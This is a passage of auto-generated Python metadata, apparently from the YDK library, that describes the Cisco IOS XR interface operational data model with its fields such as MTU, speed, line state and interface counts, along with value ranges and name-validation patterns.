'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-scramble-enabled', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Interface scramble config
''',
'is_scramble_enabled',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('keepalive', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Interface keepalive time (s)
''',
'keepalive',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('l2-interface-statistics', REFERENCE_CLASS, 'L2InterfaceStatistics' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.L2InterfaceStatistics',
[], [],
''' L2 Protocol Statistics
''',
'l2_interface_statistics',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('last-state-transition-time', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' The time elasped after the last state transition
''',
'last_state_transition_time',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('line-state', REFERENCE_ENUM_CLASS, 'ImStateEnumEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'ImStateEnumEnum',
[], [],
''' Line protocol state
''',
'line_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('link-type', REFERENCE_ENUM_CLASS, 'ImAttrLinkEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'ImAttrLinkEnum',
[], [],
''' Interface link type
''',
'link_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('loopback-configuration', REFERENCE_ENUM_CLASS, 'ImCmdLoopbackEnumEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'ImCmdLoopbackEnumEnum',
[], [],
''' Interface loopback configuration
''',
'loopback_configuration',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('mac-address', REFERENCE_CLASS, 'MacAddress' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.MacAddress',
[], [],
''' Interface MAC address
''',
'mac_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('max-bandwidth', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Maximum Interface bandwidth (Kb/s)
''',
'max_bandwidth',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('media-type', REFERENCE_ENUM_CLASS, 'ImAttrMediaEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'ImAttrMediaEnum',
[], [],
''' Interface media type
''',
'media_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('mtu', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' MTU in bytes
''',
'mtu',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('nv-optical', REFERENCE_CLASS, 'NvOptical' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.NvOptical',
[], [],
''' nV Optical Controller Information
''',
'nv_optical',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('out-flow-control', REFERENCE_ENUM_CLASS, 'ImAttrFlowControlEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'ImAttrFlowControlEnum',
[], [],
''' Output flow control configuration
''',
'out_flow_control',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('parent-interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Parent interface
''',
'parent_interface_name',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('speed', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Interface speed (Kb/s)
''',
'speed',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('state', REFERENCE_ENUM_CLASS, 'ImStateEnumEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'ImStateEnumEnum',
[], [],
''' Interface state
''',
'state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('state-transition-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' The number of times the state has changed
''',
'state_transition_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('transport-mode', REFERENCE_ENUM_CLASS, 'ImAttrTransportModeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'ImAttrTransportModeEnum',
[], [],
''' Interface transport mode
''',
'transport_mode',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'interface',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr',
False,
[
_MetaInfoClassMember('interface', REFERENCE_LIST, 'Interface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface',
[], [],
''' Detailed operational data for a particular
interface
''',
'interface',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'interface-xr',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.NodeTypeSets.NodeTypeSet.InterfaceSummary.InterfaceCounts' : {
'meta_info' : _MetaInfoClass('Interfaces.NodeTypeSets.NodeTypeSet.InterfaceSummary.InterfaceCounts',
False,
[
_MetaInfoClassMember('admin-down-interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces in an ADMINDOWN state
''',
'admin_down_interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('down-interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces in DOWN state
''',
'down_interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces
''',
'interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('up-interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces in UP state
''',
'up_interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'interface-counts',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.NodeTypeSets.NodeTypeSet.InterfaceSummary.InterfaceType.InterfaceCounts' : {
'meta_info' : _MetaInfoClass('Interfaces.NodeTypeSets.NodeTypeSet.InterfaceSummary.InterfaceType.InterfaceCounts',
False,
[
_MetaInfoClassMember('admin-down-interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces in an ADMINDOWN state
''',
'admin_down_interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('down-interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces in DOWN state
''',
'down_interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces
''',
'interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('up-interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces in UP state
''',
'up_interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'interface-counts',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.NodeTypeSets.NodeTypeSet.InterfaceSummary.InterfaceType' : {
'meta_info' : _MetaInfoClass('Interfaces.NodeTypeSets.NodeTypeSet.InterfaceSummary.InterfaceType',
False,
[
_MetaInfoClassMember('interface-counts', REFERENCE_CLASS, 'InterfaceCounts' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.NodeTypeSets.NodeTypeSet.InterfaceSummary.InterfaceType.InterfaceCounts',
[], [],
''' Counts for interfaces of this type
''',
'interface_counts',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-type-description', ATTRIBUTE, 'str' , None, None,
[], [],
''' Description of the interface type
''',
'interface_type_description',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-type-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Name of the interface type
''',
'interface_type_name',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'interface-type',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.NodeTypeSets.NodeTypeSet.InterfaceSummary' : {
'meta_info' : _MetaInfoClass('Interfaces.NodeTypeSets.NodeTypeSet.InterfaceSummary',
False,
[
_MetaInfoClassMember('interface-counts', REFERENCE_CLASS, 'InterfaceCounts' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.NodeTypeSets.NodeTypeSet.InterfaceSummary.InterfaceCounts',
[], [],
''' Counts for all interfaces
''',
'interface_counts',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-type', REFERENCE_LIST, 'InterfaceType' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.NodeTypeSets.NodeTypeSet.InterfaceSummary.InterfaceType',
[], [],
''' List of per interface type summary information
''',
'interface_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'interface-summary',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.NodeTypeSets.NodeTypeSet' : {
'meta_info' : _MetaInfoClass('Interfaces.NodeTypeSets.NodeTypeSet',
False,
[
_MetaInfoClassMember('interface-summary', REFERENCE_CLASS, 'InterfaceSummary' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.NodeTypeSets.NodeTypeSet.InterfaceSummary',
[], [],
''' Interface summary information
''',
'interface_summary',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('node-name', ATTRIBUTE, 'str' , None, None,
[], ['([a-zA-Z0-9_]*\\d+/){1,2}([a-zA-Z0-9_]*\\d+)'],
''' The location to filter on
''',
'node_name',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('type-set-name', REFERENCE_ENUM_CLASS, 'InterfaceTypeSetEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'InterfaceTypeSetEnum',
[], [],
''' The interface type to filter on
''',
'type_set_name',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'node-type-set',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.NodeTypeSets' : {
'meta_info' : _MetaInfoClass('Interfaces.NodeTypeSets',
False,
[
_MetaInfoClassMember('node-type-set', REFERENCE_LIST, 'NodeTypeSet' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.NodeTypeSets.NodeTypeSet',
[], [],
''' Summary data for all interfaces on a particular
node
''',
'node_type_set',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'node-type-sets',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceBriefs.InterfaceBrief' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceBriefs.InterfaceBrief',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' The name of the interface
''',
'interface_name',
'Cisco-IOS-XR-pfi-im-cmd-oper', True),
_MetaInfoClassMember('actual-line-state', REFERENCE_ENUM_CLASS, 'ImStateEnumEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'ImStateEnumEnum',
[], [],
''' Line protocol state with no translation of error
disable or shutdown
''',
'actual_line_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('actual-state', REFERENCE_ENUM_CLASS, 'ImStateEnumEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'ImStateEnumEnum',
[], [],
''' Operational state with no translation of error
disable or shutdown
''',
'actual_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('bandwidth', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Interface bandwidth (Kb/s)
''',
'bandwidth',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('encapsulation', ATTRIBUTE, 'str' , None, None,
[], [],
''' Interface encapsulation
''',
'encapsulation',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('encapsulation-type-string', ATTRIBUTE, 'str' , None, None,
[(0, 32)], [],
''' Interface encapsulation description string
''',
'encapsulation_type_string',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('l2-transport', ATTRIBUTE, 'bool' , None, None,
[], [],
''' L2 transport
''',
'l2_transport',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('line-state', REFERENCE_ENUM_CLASS, 'ImStateEnumEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'ImStateEnumEnum',
[], [],
''' Line protocol state
''',
'line_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('mtu', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' MTU in bytes
''',
'mtu',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('parent-interface', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Parent Interface
''',
'parent_interface',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('state', REFERENCE_ENUM_CLASS, 'ImStateEnumEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'ImStateEnumEnum',
[], [],
''' Operational state
''',
'state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('sub-interface-mtu-overhead', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Subif MTU overhead
''',
'sub_interface_mtu_overhead',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('type', ATTRIBUTE, 'str' , None, None,
[], [],
''' Interface type
''',
'type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'interface-brief',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceBriefs' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceBriefs',
False,
[
_MetaInfoClassMember('interface-brief', REFERENCE_LIST, 'InterfaceBrief' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceBriefs.InterfaceBrief',
[], [],
''' Brief operational attributes for a particular
interface
''',
'interface_brief',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'interface-briefs',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InventorySummary.InterfaceCounts' : {
'meta_info' : _MetaInfoClass('Interfaces.InventorySummary.InterfaceCounts',
False,
[
_MetaInfoClassMember('admin-down-interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces in an ADMINDOWN state
''',
'admin_down_interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('down-interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces in DOWN state
''',
'down_interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces
''',
'interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('up-interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces in UP state
''',
'up_interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'interface-counts',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InventorySummary.InterfaceType.InterfaceCounts' : {
'meta_info' : _MetaInfoClass('Interfaces.InventorySummary.InterfaceType.InterfaceCounts',
False,
[
_MetaInfoClassMember('admin-down-interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces in an ADMINDOWN state
''',
'admin_down_interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('down-interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces in DOWN state
''',
'down_interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces
''',
'interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('up-interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces in UP state
''',
'up_interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'interface-counts',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InventorySummary.InterfaceType' : {
'meta_info' : _MetaInfoClass('Interfaces.InventorySummary.InterfaceType',
False,
[
_MetaInfoClassMember('interface-counts', REFERENCE_CLASS, 'InterfaceCounts' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InventorySummary.InterfaceType.InterfaceCounts',
[], [],
''' Counts for interfaces of this type
''',
'interface_counts',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-type-description', ATTRIBUTE, 'str' , None, None,
[], [],
''' Description of the interface type
''',
'interface_type_description',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-type-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Name of the interface type
''',
'interface_type_name',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'interface-type',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InventorySummary' : {
'meta_info' : _MetaInfoClass('Interfaces.InventorySummary',
False,
[
_MetaInfoClassMember('interface-counts', REFERENCE_CLASS, 'InterfaceCounts' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InventorySummary.InterfaceCounts',
[], [],
''' Counts for all interfaces
''',
'interface_counts',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-type', REFERENCE_LIST, 'InterfaceType' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InventorySummary.InterfaceType',
[], [],
''' List of per interface type summary information
''',
'interface_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'inventory-summary',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.Interfaces_.Interface' : {
'meta_info' : _MetaInfoClass('Interfaces.Interfaces_.Interface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' The name of the interface
''',
'interface_name',
'Cisco-IOS-XR-pfi-im-cmd-oper', True),
_MetaInfoClassMember('description', ATTRIBUTE, 'str' , None, None,
[], [],
''' Interface description string
''',
'description',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('line-state', REFERENCE_ENUM_CLASS, 'ImStateEnumEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'ImStateEnumEnum',
[], [],
''' Line protocol state with no translation of error
disable or shutdown
''',
'line_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('state', REFERENCE_ENUM_CLASS, 'ImStateEnumEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'ImStateEnumEnum',
[], [],
''' Operational state with no translation of error
disable or shutdown
''',
'state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'interface',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.Interfaces_' : {
'meta_info' : _MetaInfoClass('Interfaces.Interfaces_',
False,
[
_MetaInfoClassMember('interface', REFERENCE_LIST, 'Interface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.Interfaces_.Interface',
[], [],
''' Description for a particular interface
''',
'interface',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceSummary.InterfaceCounts' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceSummary.InterfaceCounts',
False,
[
_MetaInfoClassMember('admin-down-interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces in an ADMINDOWN state
''',
'admin_down_interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('down-interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces in DOWN state
''',
'down_interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces
''',
'interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('up-interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces in UP state
''',
'up_interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'interface-counts',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceSummary.InterfaceType.InterfaceCounts' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceSummary.InterfaceType.InterfaceCounts',
False,
[
_MetaInfoClassMember('admin-down-interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces in an ADMINDOWN state
''',
'admin_down_interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('down-interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces in DOWN state
''',
'down_interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces
''',
'interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('up-interface-count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of interfaces in UP state
''',
'up_interface_count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'interface-counts',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceSummary.InterfaceType' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceSummary.InterfaceType',
False,
[
_MetaInfoClassMember('interface-counts', REFERENCE_CLASS, 'InterfaceCounts' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceSummary.InterfaceType.InterfaceCounts',
[], [],
''' Counts for interfaces of this type
''',
'interface_counts',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
